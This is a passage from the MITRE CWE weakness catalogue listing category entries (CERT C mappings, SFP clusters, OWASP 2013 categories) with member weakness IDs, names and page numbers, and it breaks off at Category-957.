HasMember	G	404	Improper Resource Shutdown or Release	734	876
HasMember	B	552	Files or Directories Accessible to External Parties	734	1123
HasMember	G	675	Duplicate Operations on Resource	734	1313
HasMember	B	676	Use of Potentially Dangerous Function	734	1314
HasMember	V	686	Function Call With Incorrect Argument Type	734	1331
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	734	1363

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-22 FIO02-C Canonicalize path names originating from untrusted sources CWE-37 FIO05-C Identify files using multiple file attributes CWE-38 FIO05-C Identify files using multiple file attributes CWE-39 FIO05-C Identify files using multiple file attributes

CWE-41 FIO02-C Canonicalize path names originating from untrusted sources  
 CWE-59 FIO02-C Canonicalize path names originating from untrusted sources  
 CWE-62 FIO05-C Identify files using multiple file attributes  
 CWE-64 FIO05-C Identify files using multiple file attributes  
 CWE-65 FIO05-C Identify files using multiple file attributes  
 CWE-67 FIO32-C Do not perform operations on devices that are only appropriate for files  
 CWE-119 FIO37-C Do not assume character data has been read  
 CWE-134 FIO30-C Exclude user input from format strings  
 CWE-134 FIO30-C Exclude user input from format strings  
 CWE-241 FIO37-C Do not assume character data has been read  
 CWE-276 FIO06-C Create files with appropriate access permissions  
 CWE-279 FIO06-C Create files with appropriate access permissions  
 CWE-362 FIO31-C Do not simultaneously open the same file multiple times  
 CWE-367 FIO01-C Be careful using functions that use file names for identification  
 CWE-379 FIO15-C Ensure that file operations are performed in a secure directory  
 CWE-379 FIO43-C Do not create temporary files in shared directories  
 CWE-391 FIO04-C Detect and handle input and output errors  
 CWE-391 FIO33-C Detect and handle input output errors resulting in undefined behavior  
 CWE-403 FIO42-C Ensure files are properly closed when they are no longer needed  
 CWE-404 FIO42-C Ensure files are properly closed when they are no longer needed  
 CWE-552 FIO15-C Ensure that file operations are performed in a secure directory  
 CWE-675 FIO31-C Do not simultaneously open the same file multiple times  
 CWE-676 FIO01-C Be careful using functions that use file names for identification  
 CWE-686 FIO00-C Take care when creating format strings  
 CWE-732 FIO06-C Create files with appropriate access permissions

## Category-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)

Category ID : 744

Status: Obsolete

## Summary

Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) chapter of the CERT C Secure Coding Standard (2008).

## Membership

Nature	Type	ID	Name	734	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	1957
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	140
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	180
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	426	Untrusted Search Path	734	916
HasMember	B	462	Duplicate Key in Associative List (Alist)	734	981
HasMember	G	705	Incorrect Control Flow Scoping	734	1355

## Notes

### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 ENV03-C Sanitize the environment when invoking external programs  
 CWE-78 ENV04-C Do not call system() if you do not need a command processor

CWE-88 ENV03-C Sanitize the environment when invoking external programs  
 CWE-88 ENV04-C Do not call system() if you do not need a command processor  
 CWE-119 ENV01-C Do not make assumptions about the size of an environment variable  
 CWE-426 ENV03-C Sanitize the environment when invoking external programs  
 CWE-462 ENV02-C Beware of multiple environment variables with the same effective name  
 CWE-705 ENV32-C All atexit handlers must return normally

## Category-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)

Category ID : 745

Status: Obsolete

### Summary

Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) chapter of the CERT C Secure Coding Standard (2008).

### Membership

Nature	Type	ID	Name	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734 1957
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	734 1019
HasMember	G	662	Improper Synchronization	734 1285

### Notes

#### Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-432 SIG00-C Mask signals handled by noninterruptible signal handlers  
 CWE-479 SIG30-C Call only asynchronous-safe functions within signal handlers  
 CWE-479 SIG32-C Do not call longjmp() from inside a signal handler  
 CWE-479 SIG33-C Do not recursively invoke the raise() function  
 CWE-479 SIG34-C Do not call signal() from within interruptible signal handlers  
 CWE-662 SIG00-C Mask signals handled by noninterruptible signal handlers  
 CWE-662 SIG31-C Do not access or modify shared objects in signal handlers  
 CWE-828 SIG31-C Do not access or modify shared objects in signal handlers

## Category-801: 2010 Top 25 - Insecure Interaction Between Components

Category ID : 801

Status: Obsolete

## Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2010 CWE/SANS Top 25 Programming Errors.

## Membership

1822

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	1959
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	800	140
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	800	151
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	800	186
HasMember	B	209	Generation of Error Message Containing Sensitive Information	800	489
HasMember	A	352	Cross-Site Request Forgery (CSRF)	800	772
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	800	791
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	800	934
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	800	1192

## Category-840: Business Logic Errors

Category ID : 840

Status: Incomplete

### Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	1952
HasMember	B	283	Unverified Ownership	699	617
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	699	635
HasMember	B	639	Authorization Bypass Through User-Controlled Key	699	1248
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	699	1250
HasMember	B	708	Incorrect Ownership Assignment	699	1360
HasMember	B	770	Allocation of Resources Without Limits or Throttling	699	1418
HasMember	B	826	Premature Release of Resource During Expected Lifetime	699	1521
HasMember	B	837	Improper Enforcement of a Single, Unique Action	699	1546
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1555

### Notes

#### Research Gap

The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward

business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

## Category-848: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)

Category ID : 848

Status: Obsolete

### Summary

Weaknesses in this category are related to rules in the Numeric Types and Operations (NUM) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	1961
HasMember	B	197	Numeric Truncation Error	844	461
HasMember	B	369	Divide By Zero	844	816
HasMember	B	681	Incorrect Conversion between Numeric Types	844	1319

## Category-872: CERT C++ Secure Coding Section 04 - Integers (INT)

Category ID : 872

Status: Incomplete

### Summary

Weaknesses in this category are related to rules in the Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	1963
HasMember	G	20	Improper Input Validation	868	19
HasMember	B	129	Improper Validation of Array Index	868	312
HasMember	B	190	Integer Overflow or Wraparound	868	436
HasMember	V	192	Integer Coercion Error	868	445
HasMember	B	197	Numeric Truncation Error	868	461
HasMember	B	369	Divide By Zero	868	816
HasMember	B	466	Return of Pointer Value Outside of Expected Range	868	986
HasMember	B	587	Assignment of a Fixed Address to a Pointer	868	1173
HasMember	B	606	Unchecked Input for Loop Condition	868	1204
HasMember	B	676	Use of Potentially Dangerous Function	868	1314
HasMember	B	681	Incorrect Conversion between Numeric Types	868	1319
HasMember	P	682	Incorrect Calculation	868	1322

**Category-885: SFP Primary Cluster: Risky Values**

Category ID : 885

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster (SFP1).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	998	SFP Secondary Cluster: Glitch in Computation	888	1887

**Category-886: SFP Primary Cluster: Unused entities**

Category ID : 886

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster (SFP2).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	V	482	Comparing instead of Assigning	888	1027
HasMember	B	561	Dead Code	888	1131
HasMember	V	563	Assignment to Variable without Use	888	1135

## Category-887: SFP Primary Cluster: API

Category ID : 887

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the API cluster (SFP3).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1888

## Category-889: SFP Primary Cluster: Exception Management

Category ID : 889

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster (SFP4, SFP5, SFP6).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	1867
HasMember	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1868
HasMember	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1868

## Category-890: SFP Primary Cluster: Memory Access

Category ID : 890

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster (SFP7, SFP8).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1873
HasMember	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	1873
HasMember	C	972	SFP Secondary Cluster: Faulty String Expansion	888	1874
HasMember	C	973	SFP Secondary Cluster: Improper NULL Termination	888	1874
HasMember	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1874

## Category-891: SFP Primary Cluster: Memory Management

Category ID : 891

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster (SFP38).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1872

## Category-892: SFP Primary Cluster: Resource Management

Category ID : 892

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster (SFP37).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1878
HasMember	C	983	SFP Secondary Cluster: Faulty Resource Use	888	1879
HasMember	C	984	SFP Secondary Cluster: Life Cycle	888	1879
HasMember	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1879

## Category-893: SFP Primary Cluster: Path Resolution

Category ID : 893

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster (SFP16, SFP17, SFP18).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	979	SFP Secondary Cluster: Failed Chroot Jail	888	1876
HasMember	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1877
HasMember	C	981	SFP Secondary Cluster: Path Traversal	888	1877

## Category-894: SFP Primary Cluster: Synchronization

Category ID : 894

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster (SFP19, SFP20, SFP21, SFP22).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	986	SFP Secondary Cluster: Missing Lock	888	1880
HasMember	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	1880
HasMember	C	988	SFP Secondary Cluster: Race Condition Window	888	1880
HasMember	C	989	SFP Secondary Cluster: Unrestricted Lock	888	1881

**Category-895: SFP Primary Cluster: Information Leak**

Category ID : 895

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster (SFP23).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	963	SFP Secondary Cluster: Exposed Data	888	1869
HasMember	C	964	SFP Secondary Cluster: Exposure Temporary File	888	1871
HasMember	C	965	SFP Secondary Cluster: Insecure Session Management	888	1871
HasMember	C	966	SFP Secondary Cluster: Other Exposures	888	1871
HasMember	C	967	SFP Secondary Cluster: State Disclosure	888	1872

**Category-896: SFP Primary Cluster: Tainted Input**

Category ID : 896

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster (SFP24, SFP25, SFP26, SFP27).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1881
HasMember	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1884
HasMember	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1884
HasMember	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1885
HasMember	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1885

**Category-897: SFP Primary Cluster: Entry Points**

Category ID : 897

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster (SFP28).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1889

## Category-898: SFP Primary Cluster: Authentication

Category ID : 898

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication cluster (SFP29, SFP30, SFP31, SFP32, SFP33, SFP34).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	947	SFP Secondary Cluster: Authentication Bypass	888	1863
HasMember	C	948	SFP Secondary Cluster: Digital Certificate	888	1863
HasMember	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1863
HasMember	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1864
HasMember	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1864
HasMember	C	952	SFP Secondary Cluster: Missing Authentication	888	1865
HasMember	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1865
HasMember	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	1865
HasMember	C	955	SFP Secondary Cluster: Unrestricted Authentication	888	1865

## Category-899: SFP Primary Cluster: Access Control

Category ID : 899

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Access Control cluster (SFP35).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	944	SFP Secondary Cluster: Access Management	888	1862
HasMember	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1862
HasMember	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1862

## Category-901: SFP Primary Cluster: Privilege

Category ID : 901

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Privilege cluster (SFP36).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	888	7
HasMember	B	250	Execution with Unnecessary Privileges	888	546
HasMember	B	266	Incorrect Privilege Assignment	888	579
HasMember	B	267	Privilege Defined With Unsafe Actions	888	582
HasMember	B	268	Privilege Chaining	888	585
HasMember	C	269	Improper Privilege Management	888	588
HasMember	B	270	Privilege Context Switching Error	888	592
HasMember	C	271	Privilege Dropping / Lowering Errors	888	594
HasMember	B	272	Least Privilege Violation	888	597
HasMember	B	274	Improper Handling of Insufficient Privileges	888	603
HasMember	V	520	.NET Misconfiguration: Use of Impersonation	888	1086
HasMember	B	653	Insufficient Compartmentalization	888	1276

## Category-902: SFP Primary Cluster: Channel

Category ID : 902

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Channel cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	956	SFP Secondary Cluster: Channel Attack	888	1866
HasMember	C	957	SFP Secondary Cluster: Protocol Error	888	1866

## Category-903: SFP Primary Cluster: Cryptography

Category ID : 903

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	958	SFP Secondary Cluster: Broken Cryptography	888	1867
HasMember	C	959	SFP Secondary Cluster: Weak Cryptography	888	1867

## Category-904: SFP Primary Cluster: Malware

Category ID : 904

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Malware cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	V	69	Improper Handling of Windows ::DATA Alternate Data Stream	888	121
HasMember	C	506	Embedded Malicious Code	888	1075
HasMember	B	507	Trojan Horse	888	1077
HasMember	B	508	Non-Replicating Malicious Code	888	1078
HasMember	B	509	Replicating Malicious Code (Virus or Worm)	888	1079
HasMember	B	510	Trapdoor	888	1080
HasMember	B	511	Logic/Time Bomb	888	1082
HasMember	B	512	Spyware	888	1083
HasMember	C	968	SFP Secondary Cluster: Covert Channel	888	1872

## Category-905: SFP Primary Cluster: Predictability

Category ID : 905

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	330	Use of Insufficiently Random Values	888	729
HasMember	B	331	Insufficient Entropy	888	735
HasMember	V	332	Insufficient Entropy in PRNG	888	737
HasMember	V	333	Improper Handling of Insufficient Entropy in TRNG	888	738
HasMember	B	334	Small Space of Random Values	888	740
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	888	742
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	888	743
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	888	745
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	888	747
HasMember	V	339	Small Seed Space in PRNG	888	749
HasMember	C	340	Generation of Predictable Numbers or Identifiers	888	750
HasMember	B	341	Predictable from Observable State	888	751
HasMember	B	342	Predictable Exact Value from Previous Values	888	753
HasMember	B	343	Predictable Value Range from Previous Values	888	754
HasMember	B	344	Use of Invariant Value in Dynamically Changing Context	888	756

## Category-906: SFP Primary Cluster: UI

Category ID : 906

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the UI cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	995	SFP Secondary Cluster: Feature	888	1886
HasMember	C	996	SFP Secondary Cluster: Security	888	1886
HasMember	C	997	SFP Secondary Cluster: Information Loss	888	1886

## Category-907: SFP Primary Cluster: Other

Category ID : 907

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Other cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	1968
HasMember	C	975	SFP Secondary Cluster: Architecture	888	1874
HasMember	C	976	SFP Secondary Cluster: Compiler	888	1875
HasMember	C	977	SFP Secondary Cluster: Design	888	1875
HasMember	C	978	SFP Secondary Cluster: Implementation	888	1876

## Category-929: OWASP Top Ten 2013 Category A1 - Injection

Category ID : 929

Status: Obsolete

### Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1970
HasMember	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	928	130
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	928	135
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	928	140
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	928	180
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	928	186

Nature	Type	ID	Name	V	Page
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	928	197
HasMember	B	91	XML Injection (aka Blind XPath Injection)	928	199
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	928	1260
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	928	1275

## Category-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

Category ID : 937

Status: Obsolete

### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1970

### Notes

#### Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

**Category-944: SFP Secondary Cluster: Access Management**

Category ID : 944

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	1854
HasMember	G	282	Improper Ownership Management	888	615
HasMember	B	283	Unverified Ownership	888	617
HasMember	P	284	Improper Access Control	888	618
HasMember	G	286	Incorrect User Management	888	628
HasMember	B	708	Incorrect Ownership Assignment	888	1360

**Category-945: SFP Secondary Cluster: Insecure Resource Access**

Category ID : 945

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	1854
HasMember	G	285	Improper Authorization	888	621
HasMember	G	424	Improper Protection of Alternate Path	888	912
HasMember	B	639	Authorization Bypass Through User-Controlled Key	888	1248
HasMember	V	650	Trusting HTTP Permission Methods on the Server Side	888	1272

**Category-946: SFP Secondary Cluster: Insecure Resource Permissions**

Category ID : 946

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	1854
HasMember	B	276	Incorrect Default Permissions	888	605
HasMember	V	277	Insecure Inherited Permissions	888	608
HasMember	V	278	Insecure Preserved Inherited Permissions	888	609
HasMember	V	279	Incorrect Execution-Assigned Permissions	888	610
HasMember	B	281	Improper Preservation of Permissions	888	614
HasMember	V	560	Use of umask() with chmod-style Argument	888	1130

Nature	Type	ID	Name	V	Page
HasMember		732	Incorrect Permission Assignment for Critical Resource	888	1363

## Category-947: SFP Secondary Cluster: Authentication Bypass

Category ID : 947

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		898	SFP Primary Cluster: Authentication	888	1854
HasMember		287	Improper Authentication	888	629
HasMember		288	Authentication Bypass Using an Alternate Path or Channel	888	635
HasMember		289	Authentication Bypass by Alternate Name	888	637
HasMember		303	Incorrect Implementation of Authentication Algorithm	888	669
HasMember		304	Missing Critical Step in Authentication	888	670
HasMember		305	Authentication Bypass by Primary Weakness	888	671
HasMember		308	Use of Single-factor Authentication	888	680
HasMember		309	Use of Password System for Primary Authentication	888	682
HasMember		603	Use of Client-Side Authentication	888	1201

## Category-948: SFP Secondary Cluster: Digital Certificate

Category ID : 948

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		898	SFP Primary Cluster: Authentication	888	1854
HasMember		296	Improper Following of a Certificate's Chain of Trust	888	652
HasMember		297	Improper Validation of Certificate with Host Mismatch	888	654
HasMember		298	Improper Validation of Certificate Expiration	888	658
HasMember		299	Improper Check for Certificate Revocation	888	660
HasMember		593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	888	1181
HasMember		599	Missing Validation of OpenSSL Certificate	888	1189

## Category-949: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID : 949

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1854
HasMember	V	293	Using Referer Field for Authentication	888	643
HasMember	V	302	Authentication Bypass by Assumed-Immutable Data	888	667
HasMember	G	345	Insufficient Verification of Data Authenticity	888	757
HasMember	B	346	Origin Validation Error	888	759
HasMember	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	888	767
HasMember	B	360	Trust of System Event Data	888	790
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	888	1122
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	888	1138
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	888	1266

## Category-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID : 950

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1854
HasMember	V	258	Empty Password in Configuration File	888	566
HasMember	V	259	Use of Hard-coded Password	888	568
HasMember	V	321	Use of Hard-coded Cryptographic Key	888	707
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	888	1118

## Category-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID : 951

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1854
HasMember	B	262	Not Using Password Aging	888	576
HasMember	B	263	Password Aging with Long Expiration	888	578
HasMember	B	521	Weak Password Requirements	888	1087

Nature	Type	ID	Name	V	Page
HasMember	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	888	1127
HasMember	B	613	Insufficient Session Expiration	888	1216
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	888	1264

## Category-952: SFP Secondary Cluster: Missing Authentication

Category ID : 952

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1854
HasMember	B	306	Missing Authentication for Critical Function	888	672
HasMember	B	620	Unverified Password Change	888	1226

## Category-953: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID : 953

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1854
HasMember	V	422	Unprotected Windows Messaging Channel ('Shatter')	888	910
HasMember	B	425	Direct Request ('Forced Browsing')	888	913

## Category-954: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID : 954

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1854
HasMember	B	605	Multiple Binds to the Same Port	888	1203

## Category-955: SFP Secondary Cluster: Unrestricted Authentication

Category ID : 955

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1854
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	888	677

## Category-956: SFP Secondary Cluster: Channel Attack

Category ID : 956

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	902	SFP Primary Cluster: Channel	888	1855
HasMember	B	290	Authentication Bypass by Spoofing	888	638
HasMember	B	294	Authentication Bypass by Capture-replay	888	645
HasMember	G	300	Channel Accessible by Non-Endpoint	888	662
HasMember	V	301	Reflection Attack in an Authentication Protocol	888	665
HasMember	B	419	Unprotected Primary Channel	888	906
HasMember	B	420	Unprotected Alternate Channel	888	908
HasMember	B	421	Race Condition During Access to Alternate Channel	888	909
HasMember	G	441	Unintended Proxy or Intermediary ('Confused Deputy')	888	948

## Category-957: SFP Secondary Cluster: Protocol Error

Category ID : 957

Status: Incomplete

### Summary

